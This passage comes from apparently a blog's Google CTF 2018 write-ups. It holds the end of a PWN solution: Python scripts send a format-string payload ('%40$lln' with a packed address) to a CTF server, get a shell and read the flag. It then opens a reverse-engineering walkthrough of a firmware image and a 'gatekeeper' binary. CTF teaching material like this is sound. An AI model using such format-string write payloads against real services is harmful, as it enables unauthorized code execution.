<span class="n">buff</span> <span class="o">=</span> <span class="s">' '</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="s">"%i=%%%i$x"</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">50</span><span class="p">)])</span>
<span class="n">buff</span> <span class="o">=</span> <span class="s">"AAAABBBB"</span> <span class="o">+</span> <span class="n">buff</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"echo %s</span><span class="se">\n</span><span class="s">"</span> <span class="o">%</span> <span class="n">buff</span><span class="p">)</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">">"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"quit</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"3"</span><span class="p">)</span>
</code></pre></div></div>
<p>Executing the exploit script should give us the following output.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>python exp.py
<span class="go">[+] Opening connection to mngmnt-iface.ctfcompetition.com on port 1337: Done
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
1
Please enter the backdoo^Wservice password
CTF{I_luv_buggy_sOFtware}
:
! Two factor authentication required !
Please enter secret secondary password
CTF{Two_PasSworDz_Better_th4n_1_k?}
:
Authenticated
</span><span class="gp">></span><span class="w">
</span><span class="go"> AAAABBBB1=41414ac3 2=4 3=3 4=663ff740 5=2 6=0 7=0 8=0 9=0 10=0 11=0 12=0 13=0 14=0 15=0 16=74464f73 17=d5c2007d 18=0 19=0 20=0 21=0 22=0 23=0 24=6593c780 25=655eebff 26=6593b620 27=1 28=6593b6a3 29=d5c26d70 30=0 31=655f0409 32=d 33=6593b620 34=a 35=41414b86 36=d5c26d70 37=655f081b 38=6f686365 39=42424241 40=20782431 41=33207824 42=3d342078 43=253d3520 44=36253d36 45=2437253d 46=78243825 47=20782439 48=78243031 49=24313125
</span><span class="gp">></span><span class="w">
</span><span class="go">[*] Closed connection to mngmnt-iface.ctfcompetition.com port 1337
</span></code></pre></div></div>
<p>If we look closely at the format string buffer output we will see that around the 39th iteration is where our data is written to - since <code class="language-plaintext highlighter-rouge">39=42424241</code> is the same as <code class="language-plaintext highlighter-rouge">39=BBBA</code>.</p>
<p>Knowing this we can start crafting our exploit. Notice that I insert <code class="language-plaintext highlighter-rouge">A</code> followed by <code class="language-plaintext highlighter-rouge">%40$llx</code>. The <code class="language-plaintext highlighter-rouge">A</code> character will be replaced with 1 later as this is the data we want to write (to make the shell function true). I used <code class="language-plaintext highlighter-rouge">ll</code> with the <code class="language-plaintext highlighter-rouge">%x</code> function because since this a 64-bit binary I need to use a <code class="language-plaintext highlighter-rouge">long-long</code> suffix to make sure that I’m writing to the correct area.</p>
<p>The letters <code class="language-plaintext highlighter-rouge">ABCDEFGH</code> are simply place holders that will show me where I need to enter the memory address for the shell enable command.</p>
<p>The update python script should look like the following:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python2
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="n">pack</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'mngmnt-iface.ctfcompetition.com'</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"3) Quit"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"1</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"1"</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"password"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"CTF{I_luv_buggy_sOFtware}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"CTF{I_luv_buggy_sOFtware}"</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"password"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"CTF{Two_PasSworDz_Better_th4n_1_k?}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"CTF{Two_PasSworDz_Better_th4n_1_k?}"</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Authenticated"</span><span class="p">)</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">">"</span><span class="p">)</span>
<span class="n">buff</span> <span class="o">=</span> <span class="s">"A%40$llxABCDEFGH"</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"echo %s</span><span class="se">\n</span><span class="s">"</span> <span class="o">%</span> <span class="n">buff</span><span class="p">)</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">">"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"quit</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"3"</span><span class="p">)</span>
</code></pre></div></div>
<p>Once updated, let’s go ahead and execute the script.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>python test.py
<span class="go">[+] Opening connection to mngmnt-iface.ctfcompetition.com on port 1337: Done
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
1
Please enter the backdoo^Wservice password
CTF{I_luv_buggy_sOFtware}
:
! Two factor authentication required !
Please enter secret secondary password
CTF{Two_PasSworDz_Better_th4n_1_k?}
:
Authenticated
</span><span class="gp">></span><span class="w">
</span><span class="go"> A4847464544ABCDEFGH
</span><span class="gp">></span><span class="w">
</span><span class="go">[*] Closed connection to mngmnt-iface.ctfcompetition.com port 1337
</span></code></pre></div></div>
<p>From the output, notice that <code class="language-plaintext highlighter-rouge">4847464544</code> or <code class="language-plaintext highlighter-rouge">HGFED</code> in hex appear. This will be the region where we will store the memory address for the <code class="language-plaintext highlighter-rouge">_ZL13shell_enabled</code> function.</p>
<p>For the final script, we will replace the first <code class="language-plaintext highlighter-rouge">A</code> character in the <code class="language-plaintext highlighter-rouge">buff</code> variable with <code class="language-plaintext highlighter-rouge">1</code>, since we want to evaluate the shell enable function to <code class="language-plaintext highlighter-rouge">True</code> and will replace everything after the <code class="language-plaintext highlighter-rouge">C</code> character with the memory address.</p>
<p>Note that this since this is a 64-bit application, we need to pass the full memory address of <code class="language-plaintext highlighter-rouge">0x0000000041616138</code>, and since x86 and x64 architectures use <a href="https://chortle.ccsu.edu/AssemblyTutorial/Chapter-15/ass15_3.html">little endian</a>, we will have to write the memory address backwards as seen in the script.</p>
<p>As a side note, I updated the exploit script to use <a href="https://docs.python.org/2/library/telnetlib.html">telenetlib</a> because I was having issues getting a shell using the <a href="https://github.com/Gallopsled/pwntools">pwntools</a> library.</p>
<p>The final exploit script is show below:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">telnetlib</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="s">"mngmnt-iface.ctfcompetition.com"</span><span class="p">,</span> <span class="mi">1337</span><span class="p">))</span>
<span class="k">print</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1000</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"1</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1000</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"CTF{I_luv_buggy_sOFtware}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1000</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"CTF{Two_PasSworDz_Better_th4n_1_k?}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1000</span><span class="p">)</span>
<span class="n">buff</span> <span class="o">=</span> <span class="s">"echo 1%40$llnABC</span><span class="se">\x38\x61\x61\x41\x00\x00\x00\x00\n</span><span class="s">"</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">buff</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">telnetlib</span><span class="p">.</span><span class="n">Telnet</span><span class="p">()</span>
<span class="n">t</span><span class="p">.</span><span class="n">sock</span> <span class="o">=</span> <span class="n">s</span>
<span class="n">t</span><span class="p">.</span><span class="n">interact</span><span class="p">()</span>
</code></pre></div></div>
<p>Alright, now that we have everything in place, let’s fire off this script and hope for the best!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>python exp.py
<span class="go">=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
Please enter the backdoo^Wservice password:
! Two factor authentication required !
Please enter secret secondary password:
Authenticated
</span><span class="gp">></span><span class="w"> </span>1ABC8aaA
<span class="gp">></span><span class="w"> </span>shell
<span class="go">id
uid=1337(user) gid=1337(user) groups=1337(user)
</span></code></pre></div></div>
<p>Awesome! We were able to write to the enable shell command memory region and can now execute shell commands!</p>
<p>Let’s see if we can’t find out flag.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">ls -la
total 144
drwxr-xr-x 3 user user 4096 Oct 24 19:06 .
drwxr-xr-x 3 nobody nogroup 4096 Oct 16 15:10 ..
-rw-r--r-- 1 user user 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 user user 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 user user 655 May 16 2017 .profile
-rw-r--r-- 1 nobody nogroup 26 Sep 26 15:44 an0th3r_fl44444g_yo
-rw-r--r-- 1 nobody nogroup 25 Sep 26 15:44 flag
-rwxr-xr-x 1 nobody nogroup 111128 Sep 26 15:44 main
drwxr-xr-x 2 nobody nogroup 4096 Oct 24 19:06 patchnotes
cat an0th3r_fl44444g_yo
CTF{c0d3ExEc?W411_pL4y3d}
</span></code></pre></div></div>
<p>Finally, we got the flag!</p>
<p><strong>FLAG:</strong> CTF{c0d3ExEc?W411_pL4y3d}</p>
<h2 id="closing">Closing</h2>
<p>That’s it for the first part of the PWN challenges! The Admin UI challenges were somewhat complex, but weren’t overly complicated. If you understood some basic x86 Assembly and the basics on memory corruption issues then you should have been fine!</p>
<p>With that said, I hope you enjoyed this part of the PWN challenges! Stay tuned for Part 2, where we’ll cover the final PWN challenges!</p>
<p>Thanks for reading!</p>Jack Halonjacek.halon@gmail.comIn my previous post “Google CTF (2018): Beginners Quest - Reverse Engineering Solutions”, we covered the reverse engineering solutions for the 2018 Google CTF, which introduced vulnerabilities such as hardcoded data, and also introduced the basics for x86 Assembly.Google CTF (2018): Beginners Quest - Reverse Engineering Solutions2019-02-21T00:00:00+00:002019-02-21T00:00:00+00:00https://jhalon.github.io/2018-google-ctf-beginners-re-solutions<p>In my previous post “<a href="https://jhalon.github.io/2018-google-ctf-beginners-web-solutions/">Google CTF (2018): Beginners Quest - Web Solutions</a>” we covered the web challenges for the 2018 Google CTF, which covered a variety of security issues ranging from topics such as the improper use of client side scripts, and other simple vulnerabilities like cross-site scripting (also known as XSS).</p>
<p>In this post we will cover the Reverse Engineering solutions for the Beginners Quest, which touched on the topics of… well, Reverse Engineering and issues such as hardcoded passwords.</p>
<p>For those that have never done any sort of binary reverse engineering before, then I believe this post will be a great introduction to it. But before you dive into these challenges, I highly suggest you read and familiarize yourself with the <a href="http://www.cs.virginia.edu/~evans/cs216/guides/x86.html">x86 Assembly Guide</a> and also read “<a href="https://lospi.net/developing/software/software%20engineering/reverse%20engineering/assembly/2015/03/06/reversing-with-ida.html">Getting Started with Reverse Engineering</a>” which will be beneficial to your learning.</p>
<h2 id="firmware">Firmware</h2>
<p align="center"><a href="/images/gctf18-re-1.png"><img src="/images/gctf18-re-1.png" /></a></p>
<p>Upon reading the challenge description we learn that we got access to a binary file, and have to see if we can’t find anything. Interesting enough, the description states that it’s “<strong>now time to <em>walk</em> around the firmware</strong>” which makes me suspect that we need to use <a href="https://github.com/ReFirmLabs/binwalk">binwalk</a>.</p>
<p>First, let’s download the attachment, and extract the file. We should be presented with the following challenge file.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Firmware#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">challenge2.ext4
</span><span class="gp">root@kali:~/Google-CTF/Firmware#</span><span class="w"> </span>file challenge2.ext4
<span class="go">challenge2.ext4: Linux rev 1.0 ext4 filesystem data, UUID=00ed61e1-1230-4818-bffa-305e19e53758 (extents) (64bit) (large files) (huge files)
</span></code></pre></div></div>
<p>Right from the start we notice that the file is of type <a href="https://en.wikipedia.org/wiki/Ext4">ext4</a>, which is, as stated by the file output, a Linux filesystem.</p>
<p>So if we were to run <code class="language-plaintext highlighter-rouge">binwalk</code> against this file, we should see a lot of Unix paths.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Firmware#</span><span class="w"> </span>binwalk challenge2.ext4 | <span class="nb">head</span>
<span class="go">
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=00ed61e1-1230-4818-bffa-305e19e519e5
399144 0x61728 Unix path: /lib/x86_64-linux-gnu/ld-2.19.so
405416 0x62FA8 Unix path: /lib/systemd/systemd
406312 0x63328 Unix path: /lib/systemd/systemd-udevd
611240 0x953A8 Unix path: /etc/alternatives/w.1.gz
617000 0x96A28 Unix path: /etc/alternatives/awk.1.gz
617256 0x96B28 Unix path: /etc/alternatives/nawk.1.gz
</span></code></pre></div></div>
<p>Awesome, our assumptions were right! So to access this filesystem, we can simply create a new directory and then use the <a href="https://linux.die.net/man/8/mount">mount</a> command to mount that filesystem to our newly created directory. We should then be able to access all the files via the mount point.</p>
<p>In this case I created a new directory in root called <code class="language-plaintext highlighter-rouge">mnt</code> and mounted the filesystem there.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Firmware#</span><span class="w"> </span><span class="nb">mkdir</span> /mnt
<span class="gp">root@kali:~/Google-CTF/Firmware#</span><span class="w"> </span>mount challenge2.ext4 /mnt
<span class="gp">root@kali:~/Google-CTF/Firmware#</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span> /mnt/
<span class="go">total 45
drwxr-xr-x 22 root root 1024 Feb 4 22:12 .
drwxr-xr-x 24 root root 4096 Feb 8 16:09 ..
drwxr-xr-x 2 root root 3072 Jun 22 2018 bin
drwxr-xr-x 2 root root 1024 Jun 22 2018 boot
drwxr-xr-x 4 root root 1024 Jun 22 2018 dev
drwxr-xr-x 52 root root 4096 Jun 22 2018 etc
drwxr-xr-x 2 root root 1024 Jun 22 2018 home
drwxr-xr-x 12 root root 1024 Jun 22 2018 lib
drwxr-xr-x 2 root root 1024 Jun 22 2018 lib64
drwx------ 2 root root 12288 Jun 22 2018 lost+found
drwxr-xr-x 2 root root 1024 Jun 22 2018 media
-rw-r--r-- 1 root root 20 Jun 22 2018 .mediapc_backdoor_password
-rw-r--r-- 1 root root 40 Jun 22 2018 .mediapc_backdoor_password.gz
drwxr-xr-x 2 root root 1024 Jun 22 2018 mnt
drwxr-xr-x 2 root root 1024 Jun 22 2018 opt
drwxr-xr-x 2 root root 1024 Jun 22 2018 proc
drwx------ 2 root root 1024 Jun 22 2018 root
drwxr-xr-x 4 root root 1024 Jun 22 2018 run
drwxr-xr-x 2 root root 3072 Jun 22 2018 sbin
drwxr-xr-x 2 root root 1024 Jun 22 2018 srv
drwxr-xr-x 2 root root 1024 Jun 22 2018 sys
drwxr-xr-x 2 root root 1024 Jun 22 2018 tmp
drwxr-xr-x 10 root root 1024 Jun 22 2018 usr
drwxr-xr-x 9 root root 1024 Jun 22 2018 var
</span></code></pre></div></div>
<p>Great, we can read the files! Right away I see that the <code class="language-plaintext highlighter-rouge">.mediapc_backdoor_password</code> file looks interesting! Let’s see what’s inside.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Firmware#</span><span class="w"> </span><span class="nb">cat</span> /mnt/.mediapc_backdoor_password
<span class="go">CTF{I_kn0W_tH15_Fs}
</span></code></pre></div></div>
<p>There we go, we found our flag! Now before we move on, let’s make sure we unmount this filesystem from our Linux box. We can simply use the <a href="https://linux.die.net/man/8/umount">umount</a> command against the mount directory.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Firmware#</span><span class="w"> </span>umount /mnt
<span class="gp">root@kali:~/Google-CTF/Firmware#</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span> /mnt/
<span class="go">total 8
drwxr-xr-x 2 root root 4096 Feb 8 16:09 .
drwxr-xr-x 24 root root 4096 Feb 8 16:09 ..
</span></code></pre></div></div>
<p><strong>FLAG:</strong> CTF{I_kn0W_tH15_Fs}</p>
<h2 id="gatekeeper">Gatekeeper</h2>
<p align="center"><a href="/images/gctf18-re-2.png"><img src="/images/gctf18-re-2.png" /></a></p>
<p>Upon reading the challenge description we learn that we got access to some sort of remote control service binary from a PC we purchased. Again we notice a slight hint in the description where it states that “<strong>nothing is the right way around</strong>”. I wonder what that might mean… oh well, let’s dig into the binary!</p>
<p>As previously, download the attachment and extract the file. We should then be presented with the following <a href="https://en.wikipedia.org/wiki/Executable_and_Linkable_Format">ELF</a> binary.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Gatekeeper#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">gatekeeper
</span><span class="gp">root@kali:~/Google-CTF/Gatekeeper#</span><span class="w"> </span>file gatekeeper
<span class="go">gatekeeper: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a89e770cbffa17111e4fddb346215ca04e794af2, not stripped
</span></code></pre></div></div>
<p>Alright, so I always like to play around with the binary first to see how it functions before I start reverse engineering it. So let’s execute the binary and see what happens.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Gatekeeper#</span><span class="w"> </span>./gatekeeper
<span class="go">/===========================================================================\
| Gatekeeper - Access your PC from everywhere! |
+===========================================================================+
[ERROR] Login information missing
</span><span class="gp">Usage: ./gatekeeper <username></span><span class="w"> </span><password>
</code></pre></div></div>
<p>Okay, without providing any arugments we get usage instruction which let us know that we need to pass a username and password into the program. Let’s see what happens if we pass in the combination of <code class="language-plaintext highlighter-rouge">admin:admin</code>.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Gatekeeper#</span><span class="w"> </span>./gatekeeper admin admin
<span class="go">/===========================================================================\
| Gatekeeper - Access your PC from everywhere! |
+===========================================================================+
</span><span class="gp"> ~></span><span class="w"> </span>Verifying....
<span class="go">ACCESS DENIED
</span><span class="gp"> ~></span><span class="w"> </span>Incorrect username
</code></pre></div></div>
<p>Access Denied… of course. So it seems that we need to find a valid username and password. I’m going to guess that these values are hardcoded.</p>
<p>What we can do to make life easy, and try to go for a quick “win”, is to use a tool like <a href="https://linux.die.net/man/1/strings">strings</a> against the binary. This in turn will print out all the printable characters from the binary, possibly revealing the username and password!</p>
<p class="notice--info"><strong>NOTE:</strong> I trimmed some of the output for readability.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Gatekeeper#</span><span class="w"> </span>strings ./gatekeeper
<span class="go">---trim---
/===========================================================================\
| Gatekeeper - Access your PC from everywhere! |
+===========================================================================+
ACCESS DENIED
[ERROR] Login information missing
</span><span class="gp">Usage: %s <username></span><span class="w"> </span><password>
<span class="gp"> ~></span><span class="w"> </span>Verifying.
<span class="go">0n3_W4rM
</span><span class="gp"> ~></span><span class="w"> </span>Incorrect username
<span class="go">zLl1ks_d4m_T0g_I
Correct!
Welcome back!
</span><span class="gp"> ~></span><span class="w"> </span>Incorrect password
<span class="go">---trim---
</span></code></pre></div></div>
<p>Right away we can see all the strings the binary uses, including what seems to be a username and password! I’m going to assume that <code class="language-plaintext highlighter-rouge">0n3_W4rM</code> is the username as it comes first, and the password is <code class="language-plaintext highlighter-rouge">zLl1ks_d4m_T0g_I</code> since it follows after.</p>
<p>Let’s test this to see if we are right!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Gatekeeper#</span><span class="w"> </span>./gatekeeper 0n3_W4rM zLl1ks_d4m_T0g_I
<span class="go">/===========================================================================\
| Gatekeeper - Access your PC from everywhere! |
+===========================================================================+
</span><span class="gp"> ~></span><span class="w"> </span>Verifying.......ACCESS DENIED
<span class="gp"> ~></span><span class="w"> </span>Incorrect password
</code></pre></div></div>
<p>Okay, we got the right username, but the password for some reason doesn’t work. Alright, it’s time we tear this program apart and dig into it a little bit deeper to see why this password doesn’t work.</p>
<p>Let’s open this binary using <a href="https://www.hex-rays.com/products/ida/">IDA</a>. If you don’t have IDA yet, you can download the Free Version of it <a href="https://www.hex-rays.com/products/ida/support/download_freeware.shtml">here</a>.</p>
<p>Using IDA should be pretty self explanatory and I’ll try to explain as best as I can, but if you’d like - you can read the <a href="http://www-verimag.imag.fr/~mounier/Enseignement/Software_Security/BH_Eagle_ida_pro.pdf">Reverse Engineering with Ida Pro</a> slides by Chris Eagle to get a better idea of how to use it.</p>
<p>Okay, moving on. Once you open the binary up and have it loaded, press <code class="language-plaintext highlighter-rouge">Shift+F12</code> together to open the <code class="language-plaintext highlighter-rouge">Strings Window</code>. This window will display all the strings in the binary. Once done, scroll down and find the password that we entered.</p>
<p align="center"><a href="/images/gctf18-re-3.png"><img src="/images/gctf18-re-3.png" /></a></p>
<p>Once we find the password, go ahead and double click that password. This will bring us directly to the <a href="https://www.dsprelated.com/showthread/motoroladsp/2106-1.php">.rodata segment</a> which is a memory segment utilized for constant data. As you can see, the password characters will be highlighted in yellow.</p>
<p align="center"><a href="/images/gctf18-re-4.png"><img src="/images/gctf18-re-4.png" /></a></p>
<p>Since the <code class="language-plaintext highlighter-rouge">.rodata</code> memory region for where the password is located is already highlighted, press the <code class="language-plaintext highlighter-rouge">x</code> button on your keyboard to <a href="https://resources.infosecinstitute.com/ida-cross-references-xrefs/#gref">cross reference</a> the password. This will bring up a new screen that will show us where this string is used or called from.</p>
<p align="center"><a href="/images/gctf18-re-5.png"><img src="/images/gctf18-re-5.png" /></a></p>
<p>By double clicking the cross reference, we should be taken directly into the IDA Graph View, which will show the disassembled application and it’s function calls/flows.</p>
<p align="center"><a href="/images/gctf18-re-6.png"><img src="/images/gctf18-re-6.png" /></a></p>
<p>Initially right above and below the password I see a <a href="http://www.keil.com/support/man/docs/armasm/armasm_dom1361289878994.htm">mov</a> instruction that seems to load data from memory at <code class="language-plaintext highlighter-rouge">[rbp+dest]</code> and then moves it to the <code class="language-plaintext highlighter-rouge">rax</code> register. We then see that the <a href="https://stackoverflow.com/questions/1658294/whats-the-purpose-of-the-lea-instruction">lea</a> or “load effective address” instructions loads the password string into the <code class="language-plaintext highlighter-rouge">rsi</code> or Source Index register.</p>
<p>Then another <code class="language-plaintext highlighter-rouge">mov</code> instruction is called that sets the <code class="language-plaintext highlighter-rouge">rdi</code> or Destination Index to that of the <code class="language-plaintext highlighter-rouge">rax</code> register which should be the data that was loaded from memory. This then calls the <a href="https://www.tutorialspoint.com/c_standard_library/c_function_strcmp.htm">strcmp</a> function against these two strings.</p>
<p>So my question is… what’s it comparing it to? If we scroll up in the Graph View, we will see the following.</p>
<p align="center"><a href="/images/gctf18-re-7.png"><img src="/images/gctf18-re-7.png" /></a></p>
<p>Take note that I explain what’s going on in the image. Simply this portion of the program get’s the length of an argument, which in our case is <code class="language-plaintext highlighter-rouge">arg[2]</code> or our password, and then allocates data on the heap which is equal to the string length plus 1. The password we passed into the program is then written to the allocated space.</p>
<p>So to give you a better visual representation of what the assembly is doing, I can show you what the the C code for this will look like. It should look like the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
<span class="n">dest</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">v1</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">dest</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
</code></pre></div></div>
<p>First the <a href="https://www.tutorialspoint.com/c_standard_library/c_function_strlen.htm">strlen</a> function is called to get the size of the password (size of the character pointer array) and sets it to a new variable.</p>
<p>You can then see that <a href="https://www.tutorialspoint.com/c_standard_library/c_function_malloc.htm">malloc</a> is being used (both in C and in the dissasembly) to allocate data on the <a href="https://stackoverflow.com/questions/2308751/what-is-a-memory-heap">heap</a> for the <code class="language-plaintext highlighter-rouge">dest</code> variable, which will be where the password is being stored.</p>
<p>Finally <a href="https://www.tutorialspoint.com/c_standard_library/c_function_strcpy.htm">strcpy</a> is called to move the password into the allocated destination buffer.</p>
<p>At the end we see that another <code class="language-plaintext highlighter-rouge">mov</code> instruction is called that set’s the memory value located at <code class="language-plaintext highlighter-rouge">[rbp+var_8]</code> to <code class="language-plaintext highlighter-rouge">0</code>.</p>
<p>This then jumps to <code class="language-plaintext highlighter-rouge">loc_B2A</code>, which is the string reverse function loop.</p>
<p align="center"><a href="/images/gctf18-re-8.png"><img src="/images/gctf18-re-8.png" /></a></p>
<p>Simply this is a string reverse function that takes the last character of the password and moves it to the front.</p>
<p>Now there’s one thing that you need to understand about string in C, and that’s that a string is simply an array of character pointers to the characters in memory. This allows for the manipulation of strings as an array because… well because it’s an array!</p>
<p>If you’re confused you can read “<a href="https://www.cs.bu.edu/teaching/cpp/string/array-vs-ptr/">C Strings (Arrays vs. Pointers)</a>” to better understand it.</p>
<p>The C code for this function will look like the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">strlen</span><span class="p">(</span><span class="n">dest</span><span class="p">)</span> <span class="o">>></span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">v2</span> <span class="o">=</span> <span class="n">dest</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="n">dest</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">dest</span><span class="p">[</span><span class="n">strlen</span><span class="p">(</span><span class="n">dest</span><span class="p">)</span> <span class="o">-</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">];</span>
<span class="n">dest</span><span class="p">[</span><span class="n">strlen</span><span class="p">(</span><span class="n">dest</span><span class="p">)</span> <span class="o">-</span> <span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">v2</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
